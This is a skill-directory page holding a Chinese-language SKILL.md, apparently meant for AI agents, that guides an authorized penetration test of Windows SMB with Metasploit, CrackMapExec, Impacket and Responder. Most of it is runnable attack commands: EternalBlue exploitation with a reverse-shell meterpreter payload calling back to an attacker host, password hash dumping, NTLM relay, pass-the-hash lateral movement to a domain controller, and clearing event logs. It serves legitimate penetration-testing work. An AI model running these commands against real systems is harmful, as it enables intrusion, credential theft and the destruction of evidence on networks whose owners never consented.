L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

exploiting-smb-vulnerabilities-with-metasploit

exploiting-smb-vulnerabilities-with-metasploit

在授权渗透测试中,使用 Metasploit Framework 识别并利用 SMB 协议漏洞, 演示企业网络中未打补丁的 Windows 系统、错误配置的共享和弱认证带来的风险。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: exploiting-smb-vulnerabilities-with-metasploit description: > 在授权渗透测试中,使用 Metasploit Framework 识别并利用 SMB 协议漏洞, 演示企业网络中未打补丁的 Windows 系统、错误配置的共享和弱认证带来的风险。 domain: cybersecurity subdomain: network-security tags: [network-security, smb, metasploit, exploitation, eternalblue] version: "1.0" author: mahipal license: Apache-2.0

使用 Metasploit 利用 SMB 漏洞

适用场景

  • 在授权渗透测试中,测试 Windows 系统是否存在严重 SMB 漏洞(EternalBlue、EternalRomance、PrintNightmare)
  • 演示通过 SMB 中继、哈希传递(pass-the-hash)和凭据喷射进行横向移动的风险
  • 验证补丁管理流程是否已修复已知 SMB 漏洞
  • 评估整个域中的 SMB 签名(signing)执行情况和共享权限配置
  • 通过尝试跨 VLAN 边界进行 SMB 利用来测试网络分段

禁止在以下情况使用:未获明确书面授权的系统、无维护窗口期的生产域控制器,或在评估范围之外部署持久后门。

前置条件

  • 已安装 Metasploit Framework 6.x(msfconsole --version)
  • 列出目标 IP 范围和批准攻击类型的授权渗透测试范围文件
  • 可访问目标 SMB 服务(TCP 445、TCP 139)
  • 已安装 CrackMapExec 和 Impacket 工具用于补充 SMB 测试
  • 参与项目批准的有效测试凭据或凭据字典
  • Kali Linux 或同等测试平台

工作流程

步骤 1:枚举 SMB 服务和版本

# 使用 Nmap 发现开放 SMB 的主机
nmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0/24

# 枚举 SMB 版本和操作系统信息
nmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0/24

# 使用 CrackMapExec 进行快速 SMB 枚举
crackmapexec smb 10.10.0.0/24 --gen-relay-list smb_nosigning.txt

# 检查 SMB 签名状态(禁用 = 易受中继攻击)
crackmapexec smb 10.10.0.0/24 --smb-signing

# 使用空会话枚举共享
crackmapexec smb 10.10.0.0/24 -u '' -p '' --shares

步骤 2:扫描已知 SMB 漏洞

# 启动 Metasploit 并扫描 MS17-010(EternalBlue)
msfconsole -q
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(smb_ms17_010)> set THREADS 10
msf6 auxiliary(smb_ms17_010)> run

# 扫描 MS08-067(Conficker 漏洞)
msf6> use auxiliary/scanner/smb/ms08_067_check
msf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(ms08_067_check)> run

# 检查 SMBGhost(CVE-2020-0796)
nmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0/24

# 检查 PrintNightmare(CVE-2021-34527)
crackmapexec smb 10.10.0.0/24 -u testuser -p 'TestPass123' -M printnightmare

步骤 3:利用 EternalBlue(MS17-010)

msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23
msf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99
msf6 exploit(ms17_010_eternalblue)> set LPORT 4444
msf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3
msf6 exploit(ms17_010_eternalblue)> exploit

# 后渗透——验证访问级别
meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM

meterpreter> sysinfo
meterpreter> ipconfig
meterpreter> hashdump

步骤 4:执行 SMB 中继攻击

# 识别没有 SMB 签名的主机(来自步骤 1)
# 使用 Impacket 设置 NTLM 中继
sudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i

# 从被攻陷主机或通过网络钓鱼触发身份验证
# 从被攻陷主机上的 Meterpreter 会话:
meterpreter> shell
C:\> net use \\10.10.1.99\share /user:DOMAIN\admin password

# 或使用 Metasploit 的 SMB 中继模块
msf6> use exploit/windows/smb/smb_relay
msf6 exploit(smb_relay)> set SMBHOST 10.10.5.30
msf6 exploit(smb_relay)> set LHOST 10.10.1.99
msf6 exploit(smb_relay)> exploit

# 使用 responder 捕获 NTLM 哈希用于离线破解
sudo responder -I eth0 -wrfv

步骤 5:通过 SMB 进行哈希传递和横向移动

# 从被攻陷系统中提取哈希
meterpreter> hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::

# 使用 CrackMapExec 进行哈希传递
crackmapexec smb 10.10.0.0/24 -u Administrator \
  -H e19ccf75ee54e06b06a5907af13cef42 --shares

# 通过哈希传递执行命令
crackmapexec smb 10.10.5.30 -u Administrator \
  -H e19ccf75ee54e06b06a5907af13cef42 -x "whoami && hostname"

# 使用 Impacket psexec 获取交互式 shell
impacket-psexec Administrator@10.10.5.30 \
  -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

# 使用 Metasploit psexec 模块
msf6> use exploit/windows/smb/psexec
msf6 exploit(psexec)> set RHOSTS 10.10.5.30
msf6 exploit(psexec)> set SMBUser Administrator
msf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
msf6 exploit(psexec)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(psexec)> set LHOST 10.10.1.99
msf6 exploit(psexec)> exploit

步骤 6:记录发现并清理

# 记录所有被攻陷的系统和访问级别
# 在 Meterpreter 中截取桌面截图作为证据
meterpreter> screenshot

# 列出可访问的共享和敏感数据
meterpreter> shell
C:\> net share
C:\> dir \\10.10.5.30\C$\Users\ /s /b

# 清理——删除所有痕迹
meterpreter> clearev
meterpreter> shell
C:\> del /f C:\Windows\Temp\payload.exe

# 关闭所有会话
msf6> sessions -K

# 验证清理
crackmapexec smb 10.10.5.23 -u Administrator -H <hash> -x "dir C:\Windows\Temp\payload*"

核心概念

术语定义
EternalBlue(MS17-010)SMBv1 中的严重漏洞,允许无需身份验证即可以 SYSTEM 权限远程执行代码,最初由 NSA 开发,后被 Shadow Brokers 泄露
SMB 签名SMB 数据包的加密签名,用于防止篡改和中继攻击;禁用时,攻击者可将 NTLM 身份验证中继到其他 SMB 主机
哈希传递(pass-the-hash)直接使用捕获的 NTLM 密码哈希而非明文密码进行身份验证的技术,绕过了破解哈希的需要
NTLM 中继将捕获的 NTLM 身份验证实时转发到不同服务器的攻击,使攻击者以被中继用户的身份获得访问权限
PsExec将服务二进制文件上传到 ADMIN$ 共享并创建 Windows 服务以 SYSTEM 身份执行命令的远程执行技术
空会话(null session)匿名 SMB 连接(空用户名和密码),可能在配置错误的系统上暴露共享列表、用户枚举和策略信息

工具与系统

  • Metasploit Framework:包含专用 SMB 扫描器、漏洞利用和后渗透模块的利用框架,用于全面的 SMB 测试
  • CrackMapExec:用于 Windows 网络中 SMB 枚举、凭据测试、共享枚举和命令执行的多功能工具
  • Impacket:提供 psexec、smbclient、ntlmrelayx 等工具的 Python 库,用于低级 SMB 协议交互
  • Responder:LLMNR/NBT-NS/mDNS 投毒工具,通过 Windows 名称解析回退行为捕获 NTLM 哈希
  • enum4linux-ng:用于从 Windows/Samba 主机提取用户、组、共享和策略的更新版 SMB 枚举工具

常见场景

场景:通过 SMB 针对 Windows 域进行内部渗透测试

背景:在为一家金融服务公司进行的内部渗透测试中,测试人员可以访问企业 VLAN(10.10.0.0/16)。测试范围包括对所有 Windows 服务器和工作站测试 SMB 相关漏洞。Active Directory 域为 CORP.EXAMPLE.COM,约有 200 台主机。

方法:

  1. 使用 CrackMapExec 扫描整个 /16 网段的开放 SMB 端口并枚举操作系统版本
  2. 发现 12 台运行 Windows Server 2012 R2 且未应用 MS17-010 补丁的主机
  3. 在非关键文件服务器(10.10.5.23)上利用 EternalBlue 获取 SYSTEM 访问权限
  4. 使用 hashdump 提取本地管理员密码哈希,发现密码在 47 台主机上复用
  5. 使用哈希传递访问域控制器,提取 NTDS.dit 数据库
  6. 演示 83% 的主机禁用了 SMB 签名,使中继攻击成为可能
  7. 记录完整攻击链,展示一个未打补丁的系统如何导致整个域的完全沦陷

注意事项:

  • EternalBlue 利用可能导致目标蓝屏死机(BSOD),尤其是在较旧或不稳定的系统上
  • 在受严格监控的端点上运行 psexec 可能触发 EDR 警报并暴露测试行动
  • 在大型数据库的域控制器上执行 hashdump 可能导致性能下降
  • 未明确检查 SMBv1——如果 SMBv2/v3 也可用,某些扫描器可能会遗漏它

输出格式

## SMB 漏洞评估报告

**参与项目**:内部渗透测试
**目标范围**:10.10.0.0/16(CORP.EXAMPLE.COM)
**发现的 SMB 主机**:187

### 严重发现

**发现 1:MS17-010(EternalBlue)- 12 台未打补丁主机**
- 严重性:严重(CVSS 9.8)
- 受影响:10.10.5.23、10.10.5.24、10.10.8.10(另 9 台)
- 影响:无需身份验证即可以 SYSTEM 身份远程执行代码
- 已利用:是——在 10.10.5.23 上获得了 SYSTEM 权限
- 修复建议:应用 MS17-010 补丁,禁用 SMBv1

**发现 2:SMB 签名已禁用 - 155/187 台主机**
- 严重性:高(CVSS 7.5)
- 影响:NTLM 中继攻击允许凭据转发
- 已利用:是——中继了域管理员凭据
- 修复建议:通过组策略启用 SMB 签名

**发现 3:本地管理员密码复用 - 47 台主机**
- 严重性:高(CVSS 7.2)
- 影响:攻陷一台主机可横向移动到 47 个系统
- 修复建议:部署 LAPS(本地管理员密码解决方案)
Skills enregistrées